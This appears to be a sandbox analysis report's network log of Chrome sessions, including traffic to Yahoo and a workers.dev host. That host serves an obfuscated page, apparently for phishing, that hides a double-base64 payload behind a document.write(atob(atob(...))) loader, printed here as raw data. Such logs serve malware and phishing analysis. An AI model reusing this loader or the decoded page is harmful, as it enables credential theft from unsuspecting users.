1J6YkhrZ2IyVWdiM1J6ZWpvMGVDQnZienBsT3lKVlpXNXRJSEpRYzNkeUlITnBZM0psZENCc1lXVjBlV0ZoYmp3Z1pHVnlJSFJzUFdSemJIa2diMlVnYjI4NlpUdG1iaTFwWlRGd1lEeHdQSEJ4UEdrZ2JITTlkWFJ1WTI1aGJuSnhQSFYwYm1OaGN5SjFaV0owYnlCMVpTMTFkRzV3YVdGNVkyRnNibVZpZEc4aWFUMTFiWFJpYmtOdWFYVThZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49778	18.165.98.41	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:41 UTC	500	OUT	GET /p2?c1=2&c2=7241469&c5=794416018&ns_c=UTF-8&ns__t=1605204367576&c7=https%3A%2F%2Flogin.yahoo.com%2F&c14=-1 HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=1D48bace37dc6f510e89ade1714257697
2024-04-27 22:41:41 UTC	363	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Sat, 27 Apr 2024 22:41:41 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 0af050b863ec46156a524df4e5d86692.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD55-P4 X-Amz-Cf-Id: 7ucDysyT1Ukpct5S8sXzIaNmA8GgkPLqFs6KZVonIOtUdZe4g6gbmg==
2024-04-27 22:41:41 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49779	104.21.16.147	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:42 UTC	427	OUT	GET /favicon.ico HTTP/1.1 Host: yhs-world-aged-dust-4671.aubrey744.workers.dev Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __session:0.5144773229173938:=https:
2024-04-27 22:41:42 UTC	582	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:42 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 53533 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hDyT%2BPcMxxQkTbTXOSv3OzgJmKNkocE7vocZz3yo%2FqX5YMnEcfR9aHABDxigRBvhp4n6j4H2zK744cjSMv2CSf4QcbOEyeCoJfbH87jwcZCLLnBh7ODjYoxE4f092FSy5sxxCiM6ndu8c%2B8VH6y4r%2BHXz98HRi6pr875i2uMOtc2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87b252501b393964-IAD alt-svc: h3=":443"; ma=86400
2024-04-27 22:41:42 UTC	787	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 62 6f 64 79 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 20 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 20 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 20 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 22 3e 48 57 4a 51 43 65 42 5a 62 64 6a 75 59 78 4e 57 4a 70 72 61 75 46 43 70 33 64 48 71 53 50 71 59 45 41 37 77 65 7a 4b 65 43 6e 79 47 67 51 68 72 52 57 4d 4d 61 63 63 48 59 4f 50 79 35 66 6a 51 47 4c 73 5a 4c 4f 64 63 4b 48 69 6f 4b 31 74 7a 35 6f 6c 6c 62 35 41 73 59 59 63 75 6c 79 4d 78 44 5a 4d 51 73 6a 38 70 56 4f 42 6d 74 3c 2f 73 70 61 6e 3e 0a 3c 73 63 72 69 70 74 3e 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 77 69 6e 64 6f 77 2e 61 74 6f 62 28 61 74 6f 62 28 27 55 45 4e 47 52 56 51 Data Ascii: <html><body><span style="font-size:0 display:none; overflow:hidden; visibility:hidden;">HWJQCeBZbdjuYxNWJprauFCp3dHqSPqYEA7wezKeCnyGgQhrRWMMaccHYOPy5fjQGLsZLOdcKHioK1tz5ollb5AsYYculyMxDZMQsj8pVOBmt</span><script> document.write(window.atob(atob('UENGRVQ
2024-04-27 22:41:42 UTC	1369	IN	Data Raw: 4e 56 47 4e 34 53 6c 52 4e 4d 30 70 55 53 6b 4e 4b 56 45 35 46 59 31 68 72 62 45 31 36 5a 32 78 4f 4d 46 46 73 54 54 42 4b 59 30 31 55 55 54 4a 4b 56 47 4d 78 57 45 52 46 4d 55 35 70 56 54 4a 4e 65 56 55 7a 54 6b 5a 33 65 45 35 55 52 57 78 4f 61 31 70 31 53 6c 52 4a 64 32 4e 54 56 54 4e 50 55 31 56 36 54 6d 6c 56 65 55 39 44 56 58 6c 50 55 31 55 7a 55 57 6c 56 4d 6b 39 54 56 54 4a 4f 61 56 56 35 54 30 4e 56 65 55 31 58 55 6e 5a 5a 4d 31 5a 30 57 6c 5a 33 65 45 35 55 57 57 78 4f 65 6c 46 73 54 57 74 57 61 32 49 79 54 57 78 4f 65 6c 5a 6a 54 56 52 56 4d 55 70 55 57 54 46 69 62 6c 46 73 54 6b 56 53 64 6c 68 45 52 54 42 4f 52 6e 64 34 54 6b 52 56 62 45 31 71 57 57 78 4e 61 6c 6c 73 54 57 70 46 62 45 35 71 55 6e 5a 5a 4d 58 64 34 54 6d 70 57 59 30 31 55 56 54 Data Ascii: NVGN4SlRNM0pUSkNKVE5FY1hrbE16Z2xOMFFsTTBKY01UUTJKVGMxWERFMU5pVTJNeVUzTkZ3eE5URWxOa1p1SlRJd2NTVTNPU1V6TmlVeU9DVXlPU1UzUWlVMk9TVTJOaVV5T0NVeU1XUnZZM1Z0WlZ3eE5UWWxOelFsTWtWa2IyTWxOelZjTVRVMUpUWTFiblFsTkVSdlhERTBORnd4TkRVbE1qWWxNallsTWpFbE5qUnZZMXd4TmpWY01UVT
2024-04-27 22:41:42 UTC	1369	IN	Data Raw: 65 56 46 70 56 58 6c 50 55 31 55 7a 55 57 6c 56 4d 31 46 57 64 33 68 4f 56 45 56 73 54 58 70 52 62 45 30 77 55 6d 74 59 52 45 55 78 54 6e 6c 56 4d 6b 30 7a 56 6d 4e 4e 56 46 55 78 57 6c 4e 56 4d 6c 4a 57 64 33 68 4f 61 6c 46 73 54 57 74 56 62 45 35 71 59 32 78 4f 61 6c 56 73 54 6e 70 53 52 6c 68 45 52 54 46 4f 52 31 5a 6a 54 56 52 56 4d 56 70 58 4e 47 78 4f 65 6c 4a 36 53 6c 52 52 65 57 56 57 55 6d 68 61 65 56 55 77 55 6c 64 47 64 46 68 45 52 54 42 4f 55 31 56 35 54 30 68 77 63 45 70 55 54 58 70 4b 56 46 5a 44 53 6c 52 61 51 30 70 55 56 6b 56 4b 56 45 6b 31 53 6c 52 4f 51 31 70 70 56 54 4a 53 62 48 64 34 54 6d 70 4a 62 45 31 71 61 47 4e 4e 56 46 56 35 53 6c 52 4f 52 55 70 55 54 58 64 4b 56 45 35 44 53 6c 52 61 51 6b 70 55 54 6b 52 4b 56 45 35 46 5a 57 31 Data Ascii: eVFpVXlPU1UzUWlVM1FWd3hOVEVsTXpRbE0wUmtYREUxTnlVMk0zVmNNVFUxWlNVMlJWd3hOalFsTWtVbE5qY2xOalVsTnpSRlhERTFOR1ZjTVRVMVpXNGxOelJ6SlRReWVWUmhaeVUwUldGdFhERTBOU1V5T0hwcEpUTXpKVFZDSlRaQ0pUVkVKVEk1SlROQ1ppVTJSbHd4TmpJbE1qaGNNVFV5SlRORUpUTXdKVE5DSlRaQkpUTkRKVE5FZW1
2024-04-27 22:41:42 UTC	1369	IN	Data Raw: 31 4a 71 59 6c 63 30 64 57 4a 74 4f 58 70 61 53 47 4d 35 56 47 34 78 63 31 70 58 55 6d 70 69 56 7a 52 31 59 6d 30 35 65 6d 52 55 4d 55 39 6d 56 31 4a 71 59 6c 63 30 64 57 4a 74 4f 54 42 6c 52 7a 46 31 55 46 64 56 5a 32 52 58 54 6e 42 69 61 55 70 73 5a 46 63 31 62 57 4a 48 56 58 42 68 55 32 68 73 5a 54 4e 57 61 6d 46 58 4e 58 6c 4c 51 32 78 77 53 30 68 61 64 55 78 75 56 6a 42 69 61 6a 42 77 57 56 64 57 4d 46 68 44 5a 47 4e 4b 65 6e 52 73 5a 46 63 30 64 30 38 79 56 6a 46 69 62 6c 49 78 5a 6c 64 53 61 6d 4a 58 4e 48 56 69 62 54 6c 36 57 6b 68 6a 4f 57 4a 36 64 44 46 5a 4d 6d 78 31 59 6d 70 72 63 47 51 79 4e 58 5a 4d 62 6c 49 77 59 7a 46 33 62 6c 68 44 5a 48 70 6b 52 32 78 73 5a 46 4e 6f 64 55 39 54 61 33 4e 4e 52 45 45 33 57 6c 68 57 64 57 52 49 56 6a 6c 68 Data Ascii: 1JqYlc0dWJtOXpaSGM5VG4xc1pXUmpiVzR1Ym05emRUMU9mV1JqYlc0dWJtOTBlRzF1UFdVZ2RXTnBiaUpsZFc1bWJHVXBhU2hsZTNWamFXNXlLQ2xwS0hadUxuVjBiajBwWVdWMFhDZGNKenRsZFc0d08yVjFiblIxZldSamJXNHVibTl6WkhjOWJ6dDFZMmx1YmprcGQyNXZMblIwYzF3blhDZHpkR2xsZFNodU9Ta3NNREE3WlhWdWRIVjlh
2024-04-27 22:41:42 UTC	1369	IN	Data Raw: 6c 74 4e 54 42 5a 55 7a 46 71 59 6b 51 77 63 32 4a 59 61 48 52 69 57 45 35 6f 57 6c 52 46 5a 32 4d 7a 53 6e 70 5a 56 30 5a 7a 55 46 4e 34 65 6d 4e 74 4e 48 52 69 4d 6c 6f 77 59 6d 6c 4a 4b 31 6f 79 4d 54 42 4a 52 30 5a 73 57 6d 35 4b 61 45 78 58 56 6d 78 6b 52 7a 68 6e 59 6a 4e 53 64 56 42 59 55 6e 4e 6a 52 7a 6c 73 59 6d 6c 4b 65 46 42 48 56 6d 68 69 62 54 41 35 57 6c 64 57 65 57 4e 74 54 6e 56 61 57 46 4a 32 59 56 64 72 4b 31 6f 7a 54 6e 6c 6a 51 30 4a 72 57 55 52 47 53 6c 42 74 52 57 64 6a 52 7a 6c 74 54 55 68 61 65 57 4e 55 5a 47 64 50 4d 32 73 35 5a 45 64 73 62 6c 70 74 4f 55 52 5a 56 55 35 72 53 30 52 4e 65 45 78 45 54 58 68 4c 56 31 70 35 59 56 52 43 63 45 35 45 62 48 42 4c 4d 33 51 31 53 7a 4e 46 4e 45 38 77 61 33 68 4a 61 55 6c 70 54 46 4e 4b 65 Data Ascii: ltNTBZUzFqYkQwc2JYaHRiWE5oWlRFZ2MzSnpZV0ZzUFN4emNtNHRiMlowYmlJK1oyMTBJR0ZsWm5KaExXVmxkRzhnYjNSdVBYUnNjRzlsYmlKeFBHVmhibTA5WldWeWNtTnVaWFJ2YVdrK1ozTnljQ0JrWURGSlBtRWdjRzltTUhaeWNUZGdPM2s5ZEdsblptOURZVU5rS0RNeExETXhLV1p5YVRCcE5EbHBLM3Q1SzNFNE8wa3hJaUlpTFNKe
2024-04-27 22:41:42 UTC	1369	IN	Data Raw: 36 57 56 64 42 4e 30 31 58 65 45 70 4e 56 6e 4e 30 59 6b 52 30 62 55 6c 59 51 6d 70 69 61 56 6c 77 5a 54 4e 4b 4e 31 4e 55 52 6d 68 6a 52 7a 56 45 59 56 64 53 63 30 31 54 4e 57 68 61 57 46 4a 32 57 6c 68 4b 64 31 6c 58 56 6d 39 69 51 32 68 4b 54 56 64 33 65 45 74 59 4d 57 68 5a 65 57 64 77 5a 6c 67 78 4d 32 46 58 56 6e 4e 4c 56 33 68 4b 55 46 63 35 4d 56 70 59 55 6d 70 61 57 46 4a 47 57 6c 64 57 4d 46 6c 49 51 6e 56 4c 56 33 64 34 55 46 64 33 65 45 78 58 65 47 52 68 55 32 64 76 59 30 63 35 62 55 31 54 62 44 42 6c 56 33 68 4b 54 47 35 43 62 46 70 48 61 48 4e 4c 52 45 5a 7a 59 30 68 4b 64 56 52 74 55 58 56 61 56 33 68 71 55 54 4a 73 61 32 4a 46 61 33 4e 4e 56 33 64 77 57 54 4e 53 62 31 70 59 64 44 6c 6d 56 31 70 31 5a 45 63 34 5a 30 31 55 52 58 42 6b 4d 6a Data Ascii: 6WVdBN01XeEpNVnN0YkR0bUlYQmpiaVlwZTNKN1NURmhjRzVEYVdSc01TNWhaWFJ2WlhKd1lXVm9iQ2hKTVd3eEtYMWhZeWdwZlgxM2FXVnNLV3hKUFc5MVpYUmpaWFJGWldWMFlIQnVLV3d4UFd3eExXeGRhU2dvY0c5bU1TbDBlV3hKTG5CbFpHaHNLREZzY0hKdVRtUXVaV3hqUTJsa2JFa3NNV3dwWTNSb1pYdDlmV1p1ZEc4Z01URXBkMj
2024-04-27 22:41:42 UTC	1369	IN	Data Raw: 56 6e 5a 61 56 32 68 7a 53 30 52 46 65 47 5a 58 52 6d 70 4c 53 45 70 35 5a 54 4d 77 64 6c 6b 79 62 44 42 59 51 32 52 36 55 46 68 46 4f 47 46 58 64 48 6c 69 52 31 4a 36 59 30 64 57 62 46 6c 35 51 6e 6c 61 62 57 67 77 54 32 6b 35 65 6c 6c 58 61 33 56 69 65 54 6c 34 55 45 64 73 63 6d 4e 74 65 47 74 6a 4d 30 4a 73 57 6c 64 4e 5a 32 4e 74 57 6d 39 6b 52 47 39 32 59 6a 4a 6b 62 46 6b 79 4d 43 74 61 4d 6e 68 31 53 55 64 56 4f 57 4a 70 4d 58 6c 61 62 6c 4a 76 59 55 64 56 4f 57 52 49 51 58 5a 6a 4d 32 78 30 54 47 30 34 64 6d 4e 55 65 48 42 68 4d 30 70 7a 57 6b 68 4f 64 31 70 58 56 6d 70 4a 53 45 70 74 59 55 68 52 4e 6b 78 35 4e 58 56 69 53 46 4a 71 54 47 31 47 64 6b 78 74 4f 48 5a 6a 56 48 68 77 59 54 4e 4b 63 31 70 49 54 6e 64 61 56 31 5a 71 53 55 68 4b 62 57 46 Data Ascii: VnZaV2hzS0RFeGZXRmpLSEp5ZTMwdlkybDBYQ2R6UFhFOGFXdHliR1J6Y0dWbFl5QnlabWgwT2k5ellXa3VieTl4UEdscmNteGtjM0JsWldNZ2NtWm9kRG92YjJkbFkyMCtaMnh1SUdVOWJpMXlablJvYUdVOWRIQXZjM2x0TG04dmNUeHBhM0pzWkhOd1pXVmpJSEptYUhRNkx5NXViSFJqTG1GdkxtOHZjVHhwYTNKc1pITndaV1ZqSUhKbWF
2024-04-27 22:41:42 UTC	1369	IN	Data Raw: 56 63 34 5a 32 49 79 63 32 64 61 57 46 49 7a 5a 45 4e 43 62 30 6c 48 52 6d 78 6b 53 46 70 35 59 56 63 30 5a 31 70 75 55 6d 78 5a 62 54 6c 36 59 32 6c 43 64 6c 6c 48 56 6a 46 68 56 32 52 6f 53 55 68 57 61 32 52 48 55 6e 5a 4a 52 7a 55 78 59 30 68 4b 62 45 6c 49 53 6a 4e 61 55 30 4a 31 53 55 63 35 62 46 64 58 61 48 5a 61 62 55 59 78 57 6c 4e 43 61 45 6c 48 4f 47 64 69 4d 6e 52 33 59 6a 4a 57 63 30 78 73 51 6d 78 6a 65 55 4a 33 57 56 64 57 4e 57 52 54 51 6e 6c 6b 4d 6c 56 6e 57 6c 68 4f 64 6b 6c 48 4f 48 56 51 51 30 4a 35 57 6d 6c 4f 54 6d 4e 70 51 6e 56 69 65 54 67 72 57 6e 6b 34 4b 31 70 35 4f 58 42 51 61 6e 4e 35 57 45 4e 6b 62 6c 70 49 57 6d 70 5a 57 45 31 70 59 55 64 34 62 46 70 35 51 6e 42 4d 56 32 68 7a 57 6c 64 6a 61 57 4e 55 65 48 42 4a 52 31 4a 30 Data Ascii: Vc4Z2Iyc2daWFIzZENCb0lHRmxkSFp5YVc0Z1puUmxZbTl6Y2lCdllHVjFhV2RoSUhWa2RHUnZJRzUxY0hKbElISjNaU0J1SUc5bFdXaHZabUYxWlNCaElHOGdiMnR3YjJWc0xsQmxjeUJ3WVdWNWRTQnlkMlVnWlhOdklHOHVQQ0J5WmlOTmNpQnVieTgrWnk4K1p5OXBQanN5WENkblpIWmpZWE1pYUd4bFp5QnBMV2hzWldjaWNUeHBJR1J0
2024-04-27 22:41:42 UTC	1369	IN	Data Raw: 64 68 52 30 35 70 5a 55 64 4f 64 56 6c 58 4e 58 6c 51 62 57 52 77 59 30 68 53 63 46 42 58 56 6e 70 6a 4d 6c 59 77 59 6d 30 77 4f 56 70 59 54 6e 70 61 57 46 49 79 59 6b 64 57 4e 57 52 49 51 54 6c 68 52 30 35 70 5a 55 68 53 61 57 4a 74 56 54 6c 4a 52 32 68 71 57 6c 4e 42 4b 31 6f 79 65 47 6c 69 52 31 70 35 59 30 68 4b 63 47 52 48 4e 43 74 6b 53 47 78 36 57 6a 4a 56 5a 32 4a 70 4f 57 68 61 56 44 56 75 54 44 4e 43 64 57 4e 55 65 47 74 6b 62 6b 55 34 59 56 4e 43 63 32 4e 36 4d 57 39 69 52 31 56 30 5a 45 63 78 61 47 4a 48 4e 47 6c 6a 4d 32 78 73 5a 44 4a 53 62 30 35 54 56 6d 31 69 4d 31 4a 35 57 6a 4e 53 64 47 4e 74 61 33 52 69 65 6d 39 34 59 30 51 31 62 6d 4d 79 52 57 64 69 53 45 30 35 57 6c 68 43 65 46 42 44 51 6e 6c 61 61 55 6f 77 59 30 52 76 64 6d 49 79 61 Data Ascii: dhR05pZUdOdVlXNXlQbWRwY0hScFBXVnpjMlYwYm0wOVpYTnpaWFIyYkdWNWRIQTlhR05pZUhSaWJtVTlJR2hqWlNBK1oyeGliR1p5Y0hKcGRHNCtkSGx6WjJVZ2JpOWhaVDVuTDNCdWNUeGtkbkU4YVNCc2N6MW9iR1V0ZEcxaGJHNGljM2xsZDJSb05TVm1iM1J5WjNSdGNta3Riem94Y0Q1bmMyRWdiSE05WlhCeFBDQnlaaUowY0RvdmIya
2024-04-27 22:41:42 UTC	1369	IN	Data Raw: 72 5a 32 49 79 56 57 64 69 4d 31 4a 36 5a 57 70 76 4d 47 56 44 51 6e 5a 69 65 6e 42 73 54 33 6c 4b 56 6c 70 58 4e 58 52 4a 53 45 70 52 59 7a 4e 6b 65 55 6c 49 54 6e 42 5a 4d 30 70 73 5a 45 4e 43 63 31 6c 58 56 6a 42 6c 56 30 5a 6f 59 6d 70 33 5a 31 70 48 56 6e 6c 4a 53 46 4a 7a 55 46 64 53 65 6d 4a 49 61 32 64 69 4d 6c 56 6e 59 6a 49 34 4e 6c 70 55 64 47 31 69 61 54 46 77 57 6c 52 47 64 31 6c 45 65 48 64 51 53 45 4a 34 55 45 64 72 5a 32 4a 49 54 54 6c 6b 57 46 4a 31 57 54 49 31 61 47 4a 75 53 6e 68 51 53 46 59 77 59 6d 31 4f 61 47 4e 35 53 6a 46 61 56 30 6f 77 59 6e 6c 43 4d 56 70 54 4d 54 46 6b 52 7a 56 33 59 56 64 47 4e 56 6b 79 52 6e 4e 69 62 56 5a 70 5a 45 63 34 61 57 46 55 4d 54 46 69 57 46 4a 70 59 6d 74 4f 64 57 46 59 56 54 68 5a 62 6c 4a 32 55 47 Data Ascii: rZ2IyVWdiM1J6ZWpvMGVDQnZienBsT3lKVlpXNXRJSEpRYzNkeUlITnBZM0psZENCc1lXVjBlV0ZoYmp3Z1pHVnlJSFJzUFdSemJIa2diMlVnYjI4NlpUdG1iaTFwWlRGd1lEeHdQSEJ4UEdrZ2JITTlkWFJ1WTI1aGJuSnhQSFYwYm1OaGN5SjFaV0owYnlCMVpTMTFkRzV3YVdGNVkyRnNibVZpZEc4aWFUMTFiWFJpYmtOdWFYVThZblJ2UG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49783	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:46 UTC	636	OUT	GET / HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:46 UTC	1292	IN	HTTP/1.1 200 OK referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN content-type: text/html; charset=utf-8 date: Sat, 27 Apr 2024 22:41:46 GMT x-envoy-upstream-service-time: 41 server: ATS Age: 0 Cache-Control: no-store, no-cache, max-age=0, private Expires: -1 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.pnr.ouryahoo.com https://pnr.ouryahoo.com https://.search.aol.com https://.search.huffpost.com https://.onesearch.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=1sbetl5j2qvpa&partner=; Transfer-Encoding: chunked Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block
2024-04-27 22:41:46 UTC	651	IN	Data Raw: 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 41 31 3d 64 3d 41 51 41 42 42 43 70 5f 4c 57 59 43 45 4c 66 55 59 56 63 52 69 62 4e 70 30 4e 33 36 4d 70 4a 54 61 47 4d 46 45 67 45 42 41 51 48 51 4c 6d 59 33 5a 74 77 76 30 69 4d 41 5f 65 4d 41 41 41 26 53 3d 41 51 41 41 41 68 59 30 5a 73 53 4f 66 56 32 56 77 38 62 55 65 76 53 5f 4a 2d 73 3b 20 45 78 70 69 72 65 73 3d 4d 6f 6e 2c 20 32 38 20 41 70 72 20 32 30 32 35 20 30 34 3a 34 31 3a 34 36 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 3b 20 53 65 63 75 72 65 3b 20 48 74 74 70 4f Data Ascii: X-Content-Type-Options: nosniffSet-Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; Expires=Mon, 28 Apr 2025 04:41:46 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure; HttpO
2024-04-27 22:41:46 UTC	1300	IN	Data Raw: 66 62 35 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 20 69 64 3d 61 74 6f 6d 69 63 20 63 6c 61 73 73 3d 22 6c 74 72 20 66 70 20 20 64 65 73 6b 74 6f 70 20 20 66 70 2d 6e 6f 6e 65 20 62 6b 74 64 72 6f 70 5f 68 65 69 6d 64 61 6c 6c 5f 68 6f 6d 65 70 61 67 65 5f 63 6f 6e 74 72 6f 6c 5f 62 75 63 6b 65 74 2c 4d 69 6d 69 63 43 6f 6e 74 72 6f 6c 76 32 2d 63 6f 70 79 2c 68 6f 6d 65 70 61 67 65 5f 74 61 62 6f 6f 6c 61 5f 62 65 6e 6a 69 5f 31 5f 63 6f 6e 74 72 6f 6c 2c 73 65 61 6d 6c 65 73 73 20 75 61 2d 63 68 72 6f 6d 65 20 75 61 2d 31 31 37 2e 30 20 69 73 4d 6f 64 65 72 6e 22 20 6c 61 6e 67 3d 65 6e 2d 55 53 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 36 32 36 66 36 31 Data Ascii: fb5<!doctype html><html data-color-scheme id=atomic class="ltr fp desktop fp-none bktdrop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless ua-chrome ua-117.0 isModern" lang=en-US><head><script nonce=626f61
2024-04-27 22:41:46 UTC	1300	IN	Data Raw: 21 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 6b 65 79 77 6f 72 64 73 20 63 6f 6e 74 65 6e 74 3d 22 79 61 68 6f 6f 2c 20 79 61 68 6f 6f 20 68 6f 6d 65 20 70 61 67 65 2c 20 79 61 68 6f 6f 20 68 6f 6d 65 70 61 67 65 2c 20 79 61 68 6f 6f 20 73 65 61 72 63 68 2c 20 79 61 68 6f 6f 20 6d 61 69 6c 2c 20 79 61 68 6f 6f 20 6d 65 73 73 65 6e 67 65 72 2c 20 79 61 68 6f 6f 20 67 61 6d 65 73 2c 20 6e 65 77 73 2c 20 66 69 6e 61 6e 63 65 2c 20 73 70 6f 72 74 2c 20 65 6e 74 65 72 74 61 69 6e 6d 65 6e 74 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 66 62 3a 61 70 70 5f 69 64 20 63 6f 6e 74 65 6e 74 3d 34 35 38 35 38 34 32 38 38 32 35 37 32 34 31 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 6f 67 3a 69 6d 61 67 65 20 63 6f 6e 74 65 6e 74 3d 68 74 74 70 73 3a 2f 2f 73 Data Ascii: !"><meta name=keywords content="yahoo, yahoo home page, yahoo homepage, yahoo search, yahoo mail, yahoo messenger, yahoo games, news, finance, sport, entertainment"><meta property=fb:app_id content=458584288257241><meta property=og:image content=https://s
2024-04-27 22:41:46 UTC	1300	IN	Data Raw: 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 72 7a 2f 6c 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 2f 2f 67 65 6f 2e 79 61 68 6f 6f 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 2f 2f 67 65 6f 2e 79 61 68 6f 6f 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 2f 2f 67 65 6f 2e 71 75 65 72 79 2e 79 61 68 6f 6f 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 Data Ascii: www.yahoo.com/"><link rel="shortcut icon" href="https://s.yimg.com/rz/l/favicon.ico"><link rel="dns-prefetch" href="//geo.yahoo.com"><link rel="preconnect" href="//geo.yahoo.com"><link rel="dns-prefetch" href="//geo.query.yahoo.com"><link rel="preconnect"
